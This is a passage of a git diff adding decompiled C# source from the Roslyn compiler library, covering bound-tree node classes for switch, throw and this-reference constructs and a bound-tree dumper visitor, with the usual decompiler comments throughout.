new BoundSwitchSection(Syntax, locals, switchLabels, statements, base.HasErrors); + boundSwitchSection.CopyAttributes(this); + return boundSwitchSection; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchStatement.cs new file mode 100644 index 0000000..396718f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchStatement.cs @@ -0,0 +1,61 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSwitchStatement : BoundStatement +{ + public BoundExpression Expression { get; } + + public ImmutableArray InnerLocals { get; } + + public ImmutableArray InnerLocalFunctions { get; } + + public ImmutableArray SwitchSections { get; } + + public BoundDecisionDag ReachabilityDecisionDag { get; } + + public BoundSwitchLabel? DefaultLabel { get; } + + public GeneratedLabelSymbol BreakLabel { get; } + + public BoundDecisionDag GetDecisionDagForLowering(CSharpCompilation compilation) + { + BoundDecisionDag boundDecisionDag = ReachabilityDecisionDag; + if (boundDecisionDag.ContainsAnySynthesizedNodes()) + { + boundDecisionDag = DecisionDagBuilder.CreateDecisionDagForSwitchStatement(compilation, Syntax, Expression, SwitchSections, DefaultLabel?.Label ?? BreakLabel, BindingDiagnosticBag.Discarded, forLowering: true); + } + return boundDecisionDag; + } + + public BoundSwitchStatement(SyntaxNode syntax, BoundExpression expression, ImmutableArray innerLocals, ImmutableArray innerLocalFunctions, ImmutableArray switchSections, BoundDecisionDag reachabilityDecisionDag, BoundSwitchLabel? defaultLabel, GeneratedLabelSymbol breakLabel, bool hasErrors = false) + : base(BoundKind.SwitchStatement, syntax, hasErrors || expression.HasErrors() || switchSections.HasErrors() || reachabilityDecisionDag.HasErrors() || defaultLabel.HasErrors()) + { + Expression = expression; + InnerLocals = innerLocals; + InnerLocalFunctions = innerLocalFunctions; + SwitchSections = switchSections; + ReachabilityDecisionDag = reachabilityDecisionDag; + DefaultLabel = defaultLabel; + BreakLabel = breakLabel; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSwitchStatement(this); + } + + public BoundSwitchStatement Update(BoundExpression expression, ImmutableArray innerLocals, ImmutableArray innerLocalFunctions, ImmutableArray switchSections, BoundDecisionDag reachabilityDecisionDag, BoundSwitchLabel? defaultLabel, GeneratedLabelSymbol breakLabel) + { + if (expression != Expression || innerLocals != InnerLocals || innerLocalFunctions != InnerLocalFunctions || switchSections != SwitchSections || reachabilityDecisionDag != ReachabilityDecisionDag || defaultLabel != DefaultLabel || !SymbolEqualityComparer.ConsiderEverything.Equals(breakLabel, BreakLabel)) + { + BoundSwitchStatement boundSwitchStatement = new BoundSwitchStatement(Syntax, expression, innerLocals, innerLocalFunctions, switchSections, reachabilityDecisionDag, defaultLabel, breakLabel, base.HasErrors); + boundSwitchStatement.CopyAttributes(this); + return boundSwitchStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTestDecisionDagNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTestDecisionDagNode.cs new file mode 100644 index 0000000..5ec25b9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTestDecisionDagNode.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTestDecisionDagNode : BoundDecisionDagNode +{ + public BoundDagTest Test { get; } + + public BoundDecisionDagNode WhenTrue { get; } + + public BoundDecisionDagNode WhenFalse { get; } + + public BoundTestDecisionDagNode(SyntaxNode syntax, BoundDagTest test, BoundDecisionDagNode whenTrue, BoundDecisionDagNode whenFalse, bool hasErrors = false) + : base(BoundKind.TestDecisionDagNode, syntax, hasErrors || test.HasErrors() || whenTrue.HasErrors() || whenFalse.HasErrors()) + { + Test = test; + WhenTrue = whenTrue; + WhenFalse = whenFalse; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTestDecisionDagNode(this); + } + + public BoundTestDecisionDagNode Update(BoundDagTest test, BoundDecisionDagNode whenTrue, BoundDecisionDagNode whenFalse) + { + if (test != Test || whenTrue != WhenTrue || whenFalse != WhenFalse) + { + BoundTestDecisionDagNode boundTestDecisionDagNode = new BoundTestDecisionDagNode(Syntax, test, whenTrue, whenFalse, base.HasErrors); + boundTestDecisionDagNode.CopyAttributes(this); + return boundTestDecisionDagNode; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThisReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThisReference.cs new file mode 100644 index 0000000..77ea1d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThisReference.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundThisReference : BoundExpression +{ + public sealed override bool IsEquivalentToThisReference => true; + + public new TypeSymbol Type => base.Type; + + public BoundThisReference(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ThisReference, syntax, type, hasErrors) + { + } + + public BoundThisReference(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ThisReference, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitThisReference(this); + } + + public BoundThisReference Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundThisReference boundThisReference = new BoundThisReference(Syntax, type, base.HasErrors); + boundThisReference.CopyAttributes(this); + return boundThisReference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThrowExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThrowExpression.cs new file mode 100644 index 0000000..62bd75a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThrowExpression.cs @@ -0,0 +1,37 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundThrowExpression : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Expression); + + public override object Display => MessageID.IDS_ThrowExpression.Localize(); + + public BoundExpression Expression { get; } + + public BoundThrowExpression(SyntaxNode syntax, BoundExpression expression, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.ThrowExpression, syntax, type, hasErrors || expression.HasErrors()) + { + Expression = expression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitThrowExpression(this); + } + + public BoundThrowExpression Update(BoundExpression expression, TypeSymbol? type) + { + if (expression != Expression || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundThrowExpression boundThrowExpression = new BoundThrowExpression(Syntax, expression, type, base.HasErrors); + boundThrowExpression.CopyAttributes(this); + return boundThrowExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThrowStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThrowStatement.cs new file mode 100644 index 0000000..cb991fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundThrowStatement.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundThrowStatement : BoundStatement +{ + public BoundExpression? ExpressionOpt { get; } + + public BoundThrowStatement(SyntaxNode syntax, BoundExpression? expressionOpt, bool hasErrors = false) + : base(BoundKind.ThrowStatement, syntax, hasErrors || expressionOpt.HasErrors()) + { + ExpressionOpt = expressionOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitThrowStatement(this); + } + + public BoundThrowStatement Update(BoundExpression? expressionOpt) + { + if (expressionOpt != ExpressionOpt) + { + BoundThrowStatement boundThrowStatement = new BoundThrowStatement(Syntax, expressionOpt, base.HasErrors); + boundThrowStatement.CopyAttributes(this); + return boundThrowStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeDumperNodeProducer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeDumperNodeProducer.cs new file mode 100644 index 0000000..e3429ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeDumperNodeProducer.cs @@ -0,0 +1,5810 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTreeDumperNodeProducer : BoundTreeVisitor +{ + private BoundTreeDumperNodeProducer() + { + } + + public static TreeDumperNode MakeTree(BoundNode node) + { + return new BoundTreeDumperNodeProducer().Visit(node, null); + } + + public override TreeDumperNode VisitFieldEqualsValue(BoundFieldEqualsValue node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("fieldEqualsValue", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("field", (object)node.Field, (IEnumerable)null), + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPropertyEqualsValue(BoundPropertyEqualsValue node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("propertyEqualsValue", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("property", (object)node.Property, (IEnumerable)null), + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitParameterEqualsValue(BoundParameterEqualsValue node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("parameterEqualsValue", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("parameter", (object)node.Parameter, (IEnumerable)null), + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitGlobalStatementInitializer(BoundGlobalStatementInitializer node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("globalStatementInitializer", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("statement", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Statement, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitValuePlaceholder(BoundValuePlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("valuePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCapturedReceiverPlaceholder(BoundCapturedReceiverPlaceholder node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + return new TreeDumperNode("capturedReceiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("localScopeDepth", (object)node.LocalScopeDepth, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Expected O, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + return new TreeDumperNode("deconstructValuePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("variableSymbol", (object)node.VariableSymbol, (IEnumerable)null), + new TreeDumperNode("isDiscardExpression", (object)node.IsDiscardExpression, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTupleOperandPlaceholder(BoundTupleOperandPlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("tupleOperandPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("awaitableValuePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDisposableValuePlaceholder(BoundDisposableValuePlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("disposableValuePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("objectOrCollectionValuePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("isNewInstance", (object)node.IsNewInstance, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("implicitIndexerValuePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("implicitIndexerReceiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("isEquivalentToThisReference", (object)node.IsEquivalentToThisReference, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("listPatternReceiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("listPatternIndexPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("slicePatternReceiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("slicePatternRangePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDup(BoundDup node, object? arg) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("dup", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("refKind", (object)node.RefKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPassByCopy(BoundPassByCopy node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("passByCopy", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBadExpression(BoundBadExpression node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Expected O, but got Unknown + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Expected O, but got Unknown + return new TreeDumperNode("badExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("symbols", (object)node.Symbols, (IEnumerable)null), + new TreeDumperNode("childBoundNodes", (object)null, node.ChildBoundNodes.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBadStatement(BoundBadStatement node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + return new TreeDumperNode("badStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("childBoundNodes", (object)null, node.ChildBoundNodes.Select((BoundNode x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitExtractedFinallyBlock(BoundExtractedFinallyBlock node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("extractedFinallyBlock", (object)null, 